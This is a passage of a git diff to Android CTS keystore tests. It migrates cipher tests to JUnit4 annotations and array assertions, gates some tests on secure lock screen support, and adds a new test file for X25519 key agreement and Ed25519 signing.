         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
@@ -434,7 +459,7 @@
                     Key decryptionKey = key.getKeystoreBackedDecryptionKey();
                     cipher.init(Cipher.DECRYPT_MODE, decryptionKey, params);
                     byte[] actualPlaintext = cipher.doFinal(ciphertext);
-                    MoreAsserts.assertEquals(expectedPlaintext, actualPlaintext);
+                    assertArrayEquals(expectedPlaintext, actualPlaintext);
                 } catch (Throwable e) {
                     throw new RuntimeException(
                             "Failed for " + algorithm + " with key " + key.getAlias(),
@@ -449,6 +474,7 @@
      * is in interrupted state which cannot be signaled to the user of the Java Crypto
      * API.
      */
+    @Test
     public void testEncryptsAndDecryptsInterrupted()
             throws Exception {
 
@@ -487,7 +513,7 @@
                     cipher.init(Cipher.DECRYPT_MODE, decryptionKey, params);
                     byte[] actualPlaintext = cipher.doFinal(ciphertext);
                     assertTrue(Thread.currentThread().interrupted());
-                    MoreAsserts.assertEquals(expectedPlaintext, actualPlaintext);
+                    assertArrayEquals(expectedPlaintext, actualPlaintext);
                 } catch (Throwable e) {
                     throw new RuntimeException(
                             "Failed for " + algorithm + " with key " + key.getAlias(),
@@ -500,6 +526,7 @@
     /*
      * This test performs a round trip en/decryption using Cipher*Streams.
      */
+    @Test
     public void testEncryptsAndDecryptsUsingCipherStreams()
             throws Exception {
 
@@ -577,7 +604,7 @@
             Key decryptionKey = key.getKeystoreBackedDecryptionKey();
             cipher.init(Cipher.DECRYPT_MODE, decryptionKey, params);
             byte[] actualPlaintext = cipher.doFinal(ciphertext);
-            MoreAsserts.assertEquals(expectedPlaintext, actualPlaintext);
+            assertArrayEquals(expectedPlaintext, actualPlaintext);
             return true;
         } catch (Throwable e) {
             return false;
@@ -589,10 +616,16 @@
         return (pm != null && pm.hasSystemFeature("android.software.leanback_only"));
     }
 
+    private boolean hasSecureLockScreen() {
+        PackageManager pm = getContext().getPackageManager();
+        return (pm != null && pm.hasSystemFeature("android.software.secure_lock_screen"));
+    }
+
     @Presubmit
+    @Test
     public void testKeyguardLockAndUnlock()
             throws Exception {
-        if (isLeanbackOnly()) {
+        if (!hasSecureLockScreen()) {
             return;
         }
 
@@ -608,12 +641,13 @@
         }
     }
 
+    @Test
     public void testEmptyPlaintextEncryptsAndDecryptsWhenUnlockedRequired()
             throws Exception {
         final boolean isUnlockedDeviceRequired = true;
         final boolean isUserAuthRequired = false;
 
-        if (isLeanbackOnly()) {
+        if (!hasSecureLockScreen()) {
             return;
         }
 
@@ -698,6 +732,7 @@
         }
     }
 
+    @Test
     public void testCiphertextGeneratedByAndroidKeyStoreDecryptsByAndroidKeyStore()
             throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
@@ -733,7 +768,7 @@
                     Key decryptionKey = key.getKeystoreBackedDecryptionKey();
                     cipher.init(Cipher.DECRYPT_MODE, decryptionKey, params);
                     byte[] actualPlaintext = cipher.doFinal(ciphertext);
-                    MoreAsserts.assertEquals(expectedPlaintext, actualPlaintext);
+                    assertArrayEquals(expectedPlaintext, actualPlaintext);
                 } catch (Throwable e) {
                     throw new RuntimeException(
                             "Failed for " + algorithm + " with key " + key.getAlias(),
@@ -743,6 +778,7 @@
         }
     }
 
+    @Test
     public void testCiphertextGeneratedByHighestPriorityProviderDecryptsByAndroidKeyStore()
             throws Exception {
         Provider keystoreProvider = Security.getProvider(EXPECTED_PROVIDER_NAME);
@@ -844,7 +880,7 @@
                     Key decryptionKey = key.getKeystoreBackedDecryptionKey();
                     cipher.init(Cipher.DECRYPT_MODE, decryptionKey, params);
                     byte[] actualPlaintext = cipher.doFinal(ciphertext);
-                    MoreAsserts.assertEquals(expectedPlaintext, actualPlaintext);
+                    assertArrayEquals(expectedPlaintext, actualPlaintext);
                 } catch (Throwable e) {
                     throw new RuntimeException(
                             "Failed for " + algorithm + " with key " + key.getAlias()
@@ -855,6 +891,7 @@
         }
     }
 
+    @Test
     public void testCiphertextGeneratedByAndroidKeyStoreDecryptsByHighestPriorityProvider()
             throws Exception {
         Provider keystoreProvider = Security.getProvider(EXPECTED_PROVIDER_NAME);
@@ -906,7 +943,7 @@
                         continue;
                     }
                     byte[] actualPlaintext = cipher.doFinal(ciphertext);
-                    MoreAsserts.assertEquals(expectedPlaintext, actualPlaintext);
+                    assertArrayEquals(expectedPlaintext, actualPlaintext);
                 } catch (Throwable e) {
                     throw new RuntimeException(
                             "Failed for " + algorithm + " with key " + key.getAlias()
@@ -917,6 +954,7 @@
         }
     }
 
+    @Test
     public void testMaxSizedPlaintextSupported() throws Exception {
         Provider keystoreProvider = Security.getProvider(EXPECTED_PROVIDER_NAME);
         assertNotNull(keystoreProvider);
@@ -967,7 +1005,7 @@
                     Key decryptionKey = key.getKeystoreBackedDecryptionKey();
                     cipher.init(Cipher.DECRYPT_MODE, decryptionKey, params);
                     byte[] actualPlaintext = cipher.doFinal(ciphertext);
-                    MoreAsserts.assertEquals(expectedPlaintext, actualPlaintext);
+                    assertArrayEquals(expectedPlaintext, actualPlaintext);
 
                     // Check that ciphertext decrypts using the highest-priority provider.
                     cipher = Cipher.getInstance(algorithm);
@@ -984,7 +1022,7 @@
                         continue;
                     }
                     actualPlaintext = cipher.doFinal(ciphertext);
-                    MoreAsserts.assertEquals(expectedPlaintext, actualPlaintext);
+                    assertArrayEquals(expectedPlaintext, actualPlaintext);
                 } catch (Throwable e) {
                     throw new RuntimeException(
                             "Failed for " + algorithm + " with key " + key.getAlias()
@@ -996,6 +1034,7 @@
         }
     }
 
+    @Test
     public void testLargerThanMaxSizedPlaintextRejected() throws Exception {
         Provider keystoreProvider = Security.getProvider(EXPECTED_PROVIDER_NAME);
         assertNotNull(keystoreProvider);
@@ -1075,6 +1114,7 @@
         }
     }
 
+    @Test
     public void testKat() throws Exception {
         Provider provider = Security.getProvider(EXPECTED_PROVIDER_NAME);
         assertNotNull(provider);
@@ -1097,7 +1137,7 @@
                     expectedPlaintext = TestUtils.leftPadWithZeroBytes(
                             expectedPlaintext, modulusLengthBytes);
                 }
-                MoreAsserts.assertEquals(expectedPlaintext, actualPlaintext);
+                assertArrayEquals(expectedPlaintext, actualPlaintext);
                 if (!isRandomizedEncryption(algorithm)) {
                     // Deterministic encryption: ciphertext depends only on plaintext and input
                     // parameters. Assert that encrypting the plaintext results in the same
@@ -1106,7 +1146,7 @@
                     cipher = Cipher.getInstance(algorithm, provider);
                     cipher.init(Cipher.ENCRYPT_MODE, encryptionKey, testVector.params);
                     byte[] actualCiphertext = cipher.doFinal(testVector.plaintext);
-                    MoreAsserts.assertEquals(testVector.ciphertext, actualCiphertext);
+                    assertArrayEquals(testVector.ciphertext, actualCiphertext);
                 }
             } catch (Throwable e) {
                 throw new RuntimeException("Failed for " + algorithm, e);
@@ -1120,11 +1160,12 @@
                 || (transformationUpperCase.contains("OAEP"));
     }
 
+    @Test
     public void testCanCreateAuthBoundKeyWhenScreenLocked() throws Exception {
         final boolean isUnlockedDeviceRequired = false;
         final boolean isUserAuthRequired = true;
 
-        if (isLeanbackOnly()) {
+        if (!hasSecureLockScreen()) {
             return;
         }
 
@@ -1147,6 +1188,7 @@
         }
     }
 
+    @Test
     public void testCannotCreateAuthBoundKeyWhenDevicePinNotSet() throws Exception {
         final boolean isUserAuthRequired = true;
         final boolean isUnlockedDeviceRequired = false;
@@ -1165,10 +1207,12 @@
                 fail("Importing auth bound keys to an insecure device should fail");
             } catch (KeyStoreException e) {
                 // Expected behavior
+                assertThat(e.getCause()).isInstanceOf(IllegalStateException.class);
             }
         }
     }
 
+    @Test
     public void testInitDecryptFailsWhenNotAuthorizedToDecrypt() throws Exception {
         for (String transformation : EXPECTED_ALGORITHMS) {
             try {
@@ -1184,6 +1228,7 @@
         }
     }
 
+    @Test
     public void testInitEncryptSymmetricFailsWhenNotAuthorizedToEncrypt() throws Exception {
         for (String transformation : EXPECTED_ALGORITHMS) {
             if (!isSymmetric(transformation)) {
@@ -1203,6 +1248,7 @@
         }
     }
 
+    @Test
     public void testInitEncryptAsymmetricIgnoresAuthorizedPurposes() throws Exception {
         for (String transformation : EXPECTED_ALGORITHMS) {
             if (isSymmetric(transformation)) {
@@ -1222,6 +1268,7 @@
         }
     }
 
+    @Test
     public void testInitDecryptFailsWhenBlockModeNotAuthorized() throws Exception {
         for (String transformation : EXPECTED_ALGORITHMS) {
             if (KeyProperties.KEY_ALGORITHM_RSA.equalsIgnoreCase(
@@ -1250,6 +1297,7 @@
         }
     }
 
+    @Test
     public void testInitEncryptSymmetricFailsWhenBlockModeNotAuthorized() throws Exception {
         for (String transformation : EXPECTED_ALGORITHMS) {
             if (!isSymmetric(transformation)) {
@@ -1283,6 +1331,7 @@
         }
     }
 
+    @Test
     public void testInitEncryptAsymmetricIgnoresAuthorizedBlockModes() throws Exception {
         for (String transformation : EXPECTED_ALGORITHMS) {
             if (isSymmetric(transformation)) {
@@ -1303,6 +1352,7 @@
         }
     }
 
+    @Test
     public void testInitDecryptFailsWhenDigestNotAuthorized() throws Exception {
         for (String transformation : EXPECTED_ALGORITHMS) {
             String impliedDigest = TestUtils.getCipherDigest(transformation);
@@ -1336,6 +1386,7 @@
         }
     }
 
+    @Test
     public void testInitEncryptSymmetricFailsWhenDigestNotAuthorized() throws Exception {
         for (String transformation : EXPECTED_ALGORITHMS) {
             if (!isSymmetric(transformation)) {
@@ -1373,6 +1424,7 @@
         }
     }
 
+    @Test
     public void testInitEncryptAsymmetricIgnoresAuthorizedDigests() throws Exception {
         for (String transformation : EXPECTED_ALGORITHMS) {
             if (isSymmetric(transformation)) {
@@ -1391,6 +1443,7 @@
         }
     }
 
+    @Test
     public void testInitDecryptFailsWhenPaddingSchemeNotAuthorized() throws Exception {
         for (String transformation : EXPECTED_ALGORITHMS) {
             String impliedEncryptionPadding = TestUtils.getCipherEncryptionPadding(transformation);
@@ -1437,6 +1490,7 @@
         }
     }
 
+    @Test
     public void testInitEncryptSymmetricFailsWhenPaddingSchemeNotAuthorized() throws Exception {
         for (String transformation : EXPECTED_ALGORITHMS) {
             if (!isSymmetric(transformation)) {
@@ -1476,6 +1530,7 @@
         }
     }
 
+    @Test
     public void testInitEncryptAsymmetricIgnoresAuthorizedPaddingSchemes() throws Exception {
         for (String transformation : EXPECTED_ALGORITHMS) {
             if (isSymmetric(transformation)) {
@@ -1498,6 +1553,7 @@
         }
     }
 
+    @Test
     public void testInitDecryptFailsWhenKeyNotYetValid() throws Exception {
         Date badStartDate = new Date(System.currentTimeMillis() + DAY_IN_MILLIS);
         for (String transformation : EXPECTED_ALGORITHMS) {
@@ -1515,6 +1571,7 @@
         }
     }
 
+    @Test
     public void testInitEncryptSymmetricFailsWhenKeyNotYetValid() throws Exception {
         Date badStartDate = new Date(System.currentTimeMillis() + DAY_IN_MILLIS);
         for (String transformation : EXPECTED_ALGORITHMS) {
@@ -1535,6 +1592,7 @@
         }
     }
 
+    @Test
     public void testInitEncryptAsymmetricIgnoresThatKeyNotYetValid() throws Exception {
         Date badStartDate = new Date(System.currentTimeMillis() + DAY_IN_MILLIS);
         for (String transformation : EXPECTED_ALGORITHMS) {
@@ -1555,6 +1613,7 @@
         }
     }
 
+    @Test
     public void testInitDecryptFailsWhenKeyNoLongerValidForConsumption() throws Exception {
         Date badEndDate = new Date(System.currentTimeMillis() - DAY_IN_MILLIS);
         for (String transformation : EXPECTED_ALGORITHMS) {
@@ -1574,6 +1633,7 @@
         }
     }
 
+    @Test
     public void testInitDecryptIgnoresThatKeyNoLongerValidForOrigination() throws Exception {
         Date badEndDate = new Date(System.currentTimeMillis() - DAY_IN_MILLIS);
         for (String transformation : EXPECTED_ALGORITHMS) {
@@ -1593,6 +1653,7 @@
         }
     }
 
+    @Test
     public void testInitEncryptSymmetricFailsWhenKeyNoLongerValidForOrigination() throws Exception {
         Date badEndDate = new Date(System.currentTimeMillis() - DAY_IN_MILLIS);
         for (String transformation : EXPECTED_ALGORITHMS) {
@@ -1615,6 +1676,7 @@
         }
     }
 
+    @Test
     public void testInitEncryptSymmetricIgnoresThatKeyNoLongerValidForConsumption()
             throws Exception {
         Date badEndDate = new Date(System.currentTimeMillis() - DAY_IN_MILLIS);
@@ -1638,6 +1700,7 @@
         }
     }
 
+    @Test
     public void testInitEncryptAsymmetricIgnoresThatKeyNoLongerValid() throws Exception {
         Date badEndDate = new Date(System.currentTimeMillis() - DAY_IN_MILLIS);
         for (String transformation : EXPECTED_ALGORITHMS) {
diff --git a/tests/tests/keystore/src/android/keystore/cts/Curve25519Test.java b/tests/tests/keystore/src/android/keystore/cts/Curve25519Test.java
new file mode 100644
index 0000000..8a37b16
--- /dev/null
+++ b/tests/tests/keystore/src/android/keystore/cts/Curve25519Test.java
@@ -0,0 +1,194 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.junit.Assert.assertThrows;
+import static org.junit.Assert.fail;
+
+import android.security.keystore.KeyGenParameterSpec;
+import android.security.keystore.KeyProperties;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.security.InvalidAlgorithmParameterException;
+import java.security.InvalidKeyException;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+import java.security.KeyStore;
+import java.security.KeyStoreException;
+import java.security.NoSuchAlgorithmException;
+import java.security.NoSuchProviderException;
+import java.security.Signature;
+import java.security.SignatureException;
+import java.security.interfaces.EdECPublicKey;
+import java.security.spec.ECGenParameterSpec;
+import java.security.spec.InvalidKeySpecException;
+import java.security.spec.NamedParameterSpec;
+import java.util.Arrays;
+import java.util.Base64;
+
+import javax.crypto.KeyAgreement;
+
+@RunWith(AndroidJUnit4.class)
+public class Curve25519Test {
+    private void deleteEntry(String entry) {
+        try {
+            KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+            keyStore.deleteEntry(entry);
+        } catch (KeyStoreException e) {
+            // Skipped
+        }
+    }
+
+    @Test
+    public void x25519KeyAgreementTest() throws NoSuchAlgorithmException, NoSuchProviderException,
+            InvalidAlgorithmParameterException, InvalidKeySpecException, InvalidKeyException {
+        KeyPairGenerator kpg = KeyPairGenerator.getInstance("EC", "AndroidKeyStore");
+        // Aliases for both keys.
+        final String firstKeyAlias = "x25519-alias";
+        deleteEntry(firstKeyAlias);
+        final String secondKeyAlias = "x25519-alias-second";
+        deleteEntry(secondKeyAlias);
+
+        // Generate first x25519 key pair.
+        KeyGenParameterSpec firstKeySpec = new KeyGenParameterSpec.Builder(firstKeyAlias,
+                KeyProperties.PURPOSE_AGREE_KEY)
+                .setAlgorithmParameterSpec(new ECGenParameterSpec("x25519")).build();
+        kpg.initialize(firstKeySpec);
+        KeyPair firstKeyPair = kpg.generateKeyPair();
+
+        // Generate second x25519 key pair.
+        KeyGenParameterSpec secondKeySpec = new KeyGenParameterSpec.Builder(secondKeyAlias,
+                KeyProperties.PURPOSE_AGREE_KEY)
+                .setAlgorithmParameterSpec(new ECGenParameterSpec("x25519")).build();
+        kpg.initialize(secondKeySpec);
+        KeyPair secondKeyPair = kpg.generateKeyPair();
+
+        // Attempt a key agreement with the private key from the first key pair and the public
+        // key from the second key pair.
+        KeyAgreement secondKa = KeyAgreement.getInstance("XDH");
+        secondKa.init(firstKeyPair.getPrivate());
+        secondKa.doPhase(secondKeyPair.getPublic(), true);
+        byte[] secondSecret = secondKa.generateSecret();
+
+        // Attempt a key agreement "the other way around": using the private key from the second
+        // key pair and the public key from the first key pair.
+        KeyAgreement firstKa = KeyAgreement.getInstance("XDH");
+        firstKa.init(secondKeyPair.getPrivate());
+        firstKa.doPhase(firstKeyPair.getPublic(), true);
+        byte[] firstSecret = firstKa.generateSecret();
+
+        // Both secrets being equal means the key agreement was successful.
+        assertThat(Arrays.compare(firstSecret, secondSecret)).isEqualTo(0);
+    }
+
+    @Test
+    public void ed25519KeyGenerationAndSigningTest()
+            throws NoSuchAlgorithmException, NoSuchProviderException,
+            InvalidAlgorithmParameterException, InvalidKeyException, SignatureException {
+        KeyPairGenerator kpg = KeyPairGenerator.getInstance("EC", "AndroidKeyStore");
+        final String alias = "ed25519-alias";
+        deleteEntry(alias);
+
+        KeyGenParameterSpec keySpec = new KeyGenParameterSpec.Builder(alias,
+                KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
+                .setAlgorithmParameterSpec(new ECGenParameterSpec("ed25519"))
+                .setDigests(KeyProperties.DIGEST_NONE).build();
+        kpg.initialize(keySpec);
+
+        KeyPair kp = kpg.generateKeyPair();
+        assertThat(kp.getPublic()).isInstanceOf(EdECPublicKey.class);
+
+        byte[] data = "helloxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx".getBytes();
+        Signature signer = Signature.getInstance("Ed25519");
+        signer.initSign(kp.getPrivate());
+        signer.update(data);
+        byte[] sigBytes = signer.sign();
+        assertThat(sigBytes.length).isEqualTo(64);
+        EdECPublicKey publicKey = (EdECPublicKey) kp.getPublic();
+        android.util.Log.i("Curve25519Test", "Manually validate: Payload "
+                + Base64.getEncoder().encodeToString(data) + " encoded key: "
+                + Base64.getEncoder().encodeToString(kp.getPublic().getEncoded())
+                + " signature: " + Base64.getEncoder().encodeToString(sigBytes));
+
+        //TODO: Verify signature over the data when Conscrypt supports validating Ed25519
+        // signatures.
+    }
+
+    @Test
+    public void testX25519CannotBeUsedForSigning()
+            throws NoSuchAlgorithmException, NoSuchProviderException {
+        KeyPairGenerator kpg = KeyPairGenerator.getInstance("EC", "AndroidKeyStore");
+        final String alias = "x25519-baduse-alias";
+        deleteEntry(alias);
+
+        KeyGenParameterSpec keySpec = new KeyGenParameterSpec.Builder(alias,
+                KeyProperties.PURPOSE_SIGN | KeyProperties.PURPOSE_VERIFY)
+                .setAlgorithmParameterSpec(new ECGenParameterSpec("x25519")).build();
+
+        assertThrows(InvalidAlgorithmParameterException.class, () -> kpg.initialize(keySpec));
+    }
+
+    @Test
+    public void testEd25519CannotBeUsedForKeyExchange() throws NoSuchAlgorithmException,
+            NoSuchProviderException {
+        KeyPairGenerator kpg = KeyPairGenerator.getInstance("EC", "AndroidKeyStore");
+        final String alias = "ed25519-baduse-alias";
+        deleteEntry(alias);
+
+        KeyGenParameterSpec keySpec = new KeyGenParameterSpec.Builder(alias,
+                KeyProperties.PURPOSE_AGREE_KEY)
+                .setAlgorithmParameterSpec(new ECGenParameterSpec("ed25519")).build();
+
+        assertThrows(InvalidAlgorithmParameterException.class, () -> kpg.initialize(keySpec));
+    }
+
+    @Test
+    public void x25519CannotCreateKeyUsingKPGWithNamedParameterSpec()
+            throws NoSuchAlgorithmException, NoSuchProviderException,
+            InvalidAlgorithmParameterException {
+        KeyPairGenerator kpg = KeyPairGenerator.getInstance("XDH", "AndroidKeyStore");
+
+        NamedParameterSpec paramSpec = new NamedParameterSpec("X25519");
+        try {
+            kpg.initialize(paramSpec);
+            fail("Should not be able to generate keys using NamedParameterSpec");
+        } catch (IllegalArgumentException e) {
+            assertThat(e.getMessage()).contains("cannot be initialized using NamedParameterSpec");
+        }
+    }
+
+    @Test
+    public void ed25519CannotCreateKeyUsingKPGWithNamedParameterSpec()
+            throws NoSuchAlgorithmException, NoSuchProviderException,
+            InvalidAlgorithmParameterException {
+        KeyPairGenerator kpg = KeyPairGenerator.getInstance("XDH", "AndroidKeyStore");
+
+        NamedParameterSpec paramSpec = new NamedParameterSpec("Ed25519");
+        try {
+            kpg.initialize(paramSpec);
+            fail("Should not be able to generate keys using NamedParameterSpec");
+        } catch (IllegalArgumentException e) {
+            assertThat(e.getMessage()).contains("cannot be initialized using NamedParameterSpec");
+        }
+    }
+}
diff --git a/tests/tests/keystore/src/android/keystore/cts/DESedeCBCNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/DESedeCBCNoPaddingCipherTest.java
index 1564a25..e7815ff 100644
--- a/tests/tests/keystore/src/android/keystore/cts/DESedeCBCNoPaddingCipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/DESedeCBCNoPaddingCipherTest.java
@@ -35,4 +35,7 @@
     protected byte[] getKatIv() {
         return KAT_IV.clone();
     }
+
+    @Override
+    protected boolean isStrongbox() { return false; }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/DESedeCBCPKCS7PaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/DESedeCBCPKCS7PaddingCipherTest.java
index a0484ed..a311f0e 100644
--- a/tests/tests/keystore/src/android/keystore/cts/DESedeCBCPKCS7PaddingCipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/DESedeCBCPKCS7PaddingCipherTest.java
@@ -35,4 +35,7 @@
     protected byte[] getKatIv() {
         return KAT_IV.clone();
     }
+
+    @Override
+    protected boolean isStrongbox() { return false; }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/DESedeCipherTestBase.java b/tests/tests/keystore/src/android/keystore/cts/DESedeCipherTestBase.java
index d3cbd88..ae6ea57 100644
--- a/tests/tests/keystore/src/android/keystore/cts/DESedeCipherTestBase.java
+++ b/tests/tests/keystore/src/android/keystore/cts/DESedeCipherTestBase.java
@@ -1,5 +1,9 @@
 package android.keystore.cts;
 
+import android.keystore.cts.util.TestUtils;
+
+import org.junit.Test;
+
 public abstract class DESedeCipherTestBase extends BlockCipherTestBase {
 
     private static final byte[] KAT_KEY = HexEncoding.decode(
@@ -38,6 +42,7 @@
     }
 
     @java.lang.Override
+    @Test
     public void testGetProvider() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testGetProvider();
@@ -45,6 +50,7 @@
     }
 
     @java.lang.Override
+    @Test
     public void testGetAlgorithm() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testGetProvider();
@@ -52,6 +58,7 @@
     }
 
     @java.lang.Override
+    @Test
     public void testGetBlockSize() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testGetProvider();
@@ -59,6 +66,7 @@
     }
 
     @java.lang.Override
+    @Test
     public void testGetExemptionMechanism() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testGetProvider();
@@ -66,6 +74,7 @@
     }
 
   @Override
+    @Test
     public void testUpdateCopySafe() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateCopySafe();
@@ -73,6 +82,7 @@
     }
 
     @Override
+    @Test
     public void testUpdateAndDoFinalNotSupportedInWrapAndUnwrapModes() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -80,6 +90,7 @@
     }
 
     @Override
+    @Test
     public void testKeyDoesNotSurviveReinitialization() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -87,6 +98,7 @@
     }
 
     @Override
+    @Test
     public void testKatOneShotEncryptUsingDoFinal() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -94,6 +106,7 @@
     }
 
     @Override
+    @Test
     public void testKatOneShotDecryptUsingDoFinal() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -101,6 +114,7 @@
     }
 
     @Override
+    @Test
     public void testKatEncryptOneByteAtATime() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -108,6 +122,7 @@
     }
 
     @Override
+    @Test
     public void testKatDecryptOneByteAtATime() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -115,6 +130,7 @@
     }
 
     @Override
+    @Test
     public void testIvGeneratedAndUsedWhenEncryptingWithoutExplicitIv() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -122,6 +138,7 @@
     }
 
     @Override
+    @Test
     public void testGetParameters() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -129,6 +146,7 @@
     }
 
     @Override
+    @Test
     public void testGetOutputSizeInEncryptionMode() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -136,6 +154,7 @@
     }
 
     @Override
+    @Test
     public void testGetOutputSizeInDecryptionMode() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -143,6 +162,7 @@
     }
 
     @Override
+    @Test
     public void testGetIV() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -150,6 +170,7 @@
     }
 
     @Override
+    @Test
     public void testUpdateWithEmptyInputReturnsCorrectValue() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -157,6 +178,7 @@
     }
 
     @Override
+    @Test
     public void testUpdateDoesNotProduceOutputWhenInsufficientInput() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -164,6 +186,7 @@
     }
 
     @Override
+    @Test
     public void testUpdateAADNotSupported() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -171,6 +194,7 @@
     }
 
     @Override
+    @Test
     public void testGeneratedPadding() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -178,6 +202,7 @@
     }
 
     @Override
+    @Test
     public void testDoFinalResets() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -185,6 +210,7 @@
     }
 
     @Override
+    @Test
     public void testDoFinalCopySafe() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -192,6 +218,7 @@
     }
 
     @Override
+    @Test
     public void testDecryptWithMissingPadding() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -199,6 +226,7 @@
     }
 
     @Override
+    @Test
     public void testDecryptWithMangledPadding() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -206,6 +234,7 @@
     }
 
     @Override
+    @Test
     public void testReinitializingInDecryptModeDoesNotUsePreviouslyUsedIv() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -213,6 +242,7 @@
     }
 
     @Override
+    @Test
     public void testInitRequiresIvInDecryptMode() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -220,6 +250,7 @@
     }
 
     @Override
+    @Test
     public void testGeneratedIvSurvivesReset() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -227,6 +258,7 @@
     }
 
     @Override
+    @Test
     public void testGeneratedIvDoesNotSurviveReinitialization() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -234,6 +266,7 @@
     }
 
     @Override
+    @Test
     public void testExplicitlySetIvDoesNotSurviveReinitialization() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testUpdateWithEmptyInputReturnsCorrectValue();
@@ -241,6 +274,7 @@
     }
 
     @Override
+    @Test
     public void testVeryLargeBlock() throws Exception {
         if (TestUtils.supports3DES()) {
             super.testVeryLargeBlock();
diff --git a/tests/tests/keystore/src/android/keystore/cts/DESedeECBNoPaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/DESedeECBNoPaddingCipherTest.java
index 318dc40..36148e9 100644
--- a/tests/tests/keystore/src/android/keystore/cts/DESedeECBNoPaddingCipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/DESedeECBNoPaddingCipherTest.java
@@ -1,5 +1,7 @@
 package android.keystore.cts;
 
+import static org.junit.Assert.fail;
+
 import java.security.AlgorithmParameters;
 import java.security.spec.AlgorithmParameterSpec;
 import java.security.spec.InvalidParameterSpecException;
@@ -33,4 +35,7 @@
     protected byte[] getKatIv() {
         return null;
     }
+
+    @Override
+    protected boolean isStrongbox() { return false; }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/DESedeECBPKCS7PaddingCipherTest.java b/tests/tests/keystore/src/android/keystore/cts/DESedeECBPKCS7PaddingCipherTest.java
index 22579bd..ad140ce 100644
--- a/tests/tests/keystore/src/android/keystore/cts/DESedeECBPKCS7PaddingCipherTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/DESedeECBPKCS7PaddingCipherTest.java
@@ -1,5 +1,7 @@
 package android.keystore.cts;
 
+import static org.junit.Assert.fail;
+
 import java.security.AlgorithmParameters;
 import java.security.spec.AlgorithmParameterSpec;
 import java.security.spec.InvalidParameterSpecException;
@@ -33,4 +35,7 @@
     protected byte[] getKatIv() {
         return null;
     }
+
+    @Override
+    protected boolean isStrongbox() { return false; }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/DesCipherPerformanceTest.java b/tests/tests/keystore/src/android/keystore/cts/DesCipherPerformanceTest.java
deleted file mode 100644
index 527dee5..0000000
--- a/tests/tests/keystore/src/android/keystore/cts/DesCipherPerformanceTest.java
+++ /dev/null
@@ -1,153 +0,0 @@
-/*
